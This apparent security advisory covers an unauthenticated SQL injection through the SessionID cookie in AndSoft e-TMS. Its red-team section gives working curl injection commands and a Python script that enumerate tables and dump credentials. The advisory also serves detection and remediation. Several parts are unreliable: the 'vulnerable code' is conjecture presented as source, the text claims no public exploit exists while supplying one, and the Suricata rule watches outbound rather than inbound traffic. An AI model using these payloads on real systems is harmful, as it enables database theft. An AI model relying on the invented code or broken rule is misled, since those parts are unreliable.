CVE-2025-59743

Executive Summary

CVE-2025-59743 is a critical SQL injection vulnerability discovered in AndSoft's e-TMS (Transport Management System) version v25.03. The flaw resides in the /inc/connect/CONNECTION.ASP endpoint, where the SessionID cookie parameter is directly concatenated into SQL queries without proper sanitization or parameterization. An unauthenticated attacker can exploit this by sending a crafted POST request containing malicious SQL payloads within the SessionID cookie, leading to full database compromise including retrieval, creation, updating, and deletion of database records. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the impact, it is assessed as critical (CVSS 9.8). No official patch has been released by AndSoft, and no public exploit code or Nuclei template is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone ASP-based web application vulnerability.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Full database write access.
• Availability (A): High (H) – Database deletion possible.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Base Score: 9.8 (Critical)

Deep Dive & Mechanics

The vulnerability exists in the file /inc/connect/CONNECTION.ASP. This file is responsible for establishing database connections and likely validates or processes session tokens. The SessionID cookie is taken directly from the HTTP request and embedded into a SQL query without any sanitization, parameterization, or escaping.

Root Cause: The application uses string concatenation to build SQL queries, e.g.:

sql = "SELECT * FROM sessions WHERE session_id = '" & Request.Cookies("SessionID") & "'"

An attacker can inject SQL commands by providing a malicious SessionID cookie value. For example:

Cookie: SessionID=' OR '1'='1' -- 

This would result in the query:

SELECT * FROM sessions WHERE session_id = '' OR '1'='1' -- '

The -- comments out the rest of the query, allowing the attacker to bypass authentication or extract data.

Impact: Full database compromise:

• Retrieve: Extract sensitive data (user credentials, transport logs, financial data).
• Create: Insert malicious records or backdoor accounts.
• Update: Modify existing records (e.g., change user roles, alter shipment details).
• Delete: Drop tables or wipe entire databases.

Vulnerable vs. Patched Code

Vulnerable Code (CONNECTION.ASP):

<%
Dim sessionID, sql, rs
sessionID = Request.Cookies("SessionID")
sql = "SELECT * FROM sessions WHERE session_id = '" & sessionID & "'"
Set rs = conn.Execute(sql)
%>

Patched Code (Conceptual):

<%
Dim sessionID, sql, rs
sessionID = Request.Cookies("SessionID")
' Use parameterized query to prevent SQL injection
sql = "SELECT * FROM sessions WHERE session_id = ?"
Set cmd = Server.CreateObject("ADODB.Command")
cmd.ActiveConnection = conn
cmd.CommandText = sql
cmd.Parameters.Append cmd.CreateParameter("@sessionID", adVarChar, adParamInput, 255, sessionID)
Set rs = cmd.Execute
%>

Note: No official patch is available from AndSoft. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running AndSoft e-TMS v25.03.
• Network access to the web application.
• A tool like curl, Burp Suite, or custom Python script.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   POST /inc/connect/CONNECTION.ASP HTTP/1.1
   Host: target.com
   Cookie: SessionID=test
   

2. Test for SQL injection:

   curl -X POST http://target.com/inc/connect/CONNECTION.ASP \
     -b "SessionID=' OR '1'='1' -- "
   

3. Extract database version:

   curl -X POST http://target.com/inc/connect/CONNECTION.ASP \
     -b "SessionID=' UNION SELECT @@version -- "
   

4. Enumerate tables:

   curl -X POST http://target.com/inc/connect/CONNECTION.ASP \
     -b "SessionID=' UNION SELECT table_name FROM information_schema.tables -- "
   

5. Dump user credentials:

   curl -X POST http://target.com/inc/connect/CONNECTION.ASP \
     -b "SessionID=' UNION SELECT username, password FROM users -- "
   

Python Exploit Script:

import requests

target = "http://target.com/inc/connect/CONNECTION.ASP"
payload = "' UNION SELECT @@version -- "

cookies = {"SessionID": payload}
response = requests.post(target, cookies=cookies)

print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for abnormal SessionID cookie values containing SQL keywords (UNION, SELECT, OR, --, ').
• Alert on requests to /inc/connect/CONNECTION.ASP with non-standard cookie lengths or special characters.
• Use WAF rules to block SQL injection patterns in cookies.

Honeypot:

• Deploy a decoy e-TMS instance and log all SessionID cookie values for analysis.

Forensic Analysis:

• Check web server logs for requests containing SQL-like patterns in the Cookie header.
• Examine database logs for unexpected queries or errors.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /inc/connect/CONNECTION.ASP with SessionID cookie containing SQL keywords.
  • Unusual response sizes or error messages containing SQL syntax errors.
• File IOCs:
  • Modified CONNECTION.ASP file (if attacker uploads a webshell).
  • New files in the web root (e.g., cmd.asp, shell.aspx).
• Database IOCs:
  • Unexpected new user accounts or elevated privileges.
  • Missing or altered tables.
  • Suspicious stored procedures or triggers.
• Behavioral IOCs:
  • Multiple rapid requests to the same endpoint.
  • Requests from IP addresses not in the normal traffic pattern.

Detection Engineering

YARA Rule

rule CVE_2025_59743_SQLi_SessionID {
    meta:
        description = "Detects SQL injection attempts targeting SessionID cookie in e-TMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59743"
    strings:
        $s1 = "SessionID=" nocase
        $s2 = "' OR '" nocase
        $s3 = "UNION SELECT" nocase
        $s4 = "1=1" nocase
        $s5 = "--" nocase
        $s6 = "DROP TABLE" nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5, $s6)
}

Sigma Rule

title: SQL Injection via SessionID Cookie in e-TMS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against AndSoft e-TMS via SessionID cookie
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/inc/connect/CONNECTION.ASP'
        cs(Cookie)|contains:
            - "' OR '"
            - "UNION SELECT"
            - "1=1"
            - "--"
            - "DROP TABLE"
    condition: selection
falsepositives:
    - Legitimate use of special characters in session IDs (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-59743 - SQL Injection in e-TMS SessionID Cookie";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/inc/connect/CONNECTION.ASP"; http_uri;
    content:"SessionID="; http_cookie;
    pcre:"/SessionID=[^;]*('|\bOR\b|\bUNION\b|\bSELECT\b|\bDROP\b)/Pi";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, take the e-TMS offline or restrict network access to trusted IPs only.
2. Apply virtual patching: Use a Web Application Firewall (WAF) to block SQL injection patterns in cookies.
3. Disable vulnerable endpoint: If /inc/connect/CONNECTION.ASP is not critical, remove or rename it.

Long-term Fix:

1. Rewrite the code: Replace all dynamic SQL queries with parameterized statements or stored procedures.
2. Input validation: Implement strict validation and sanitization for all user-supplied data, including cookies.
3. Least privilege: Ensure the database account used by the application has minimal permissions (e.g., read-only where possible).
4. Update vendor: Contact AndSoft for an official patch. If unavailable, consider migrating to a different TMS solution.

Detection & Monitoring:

• Deploy the YARA, Sigma, and Suricata rules provided above.
• Enable detailed logging for web server and database.
• Set up alerts for any SQL injection attempts.

Valters IT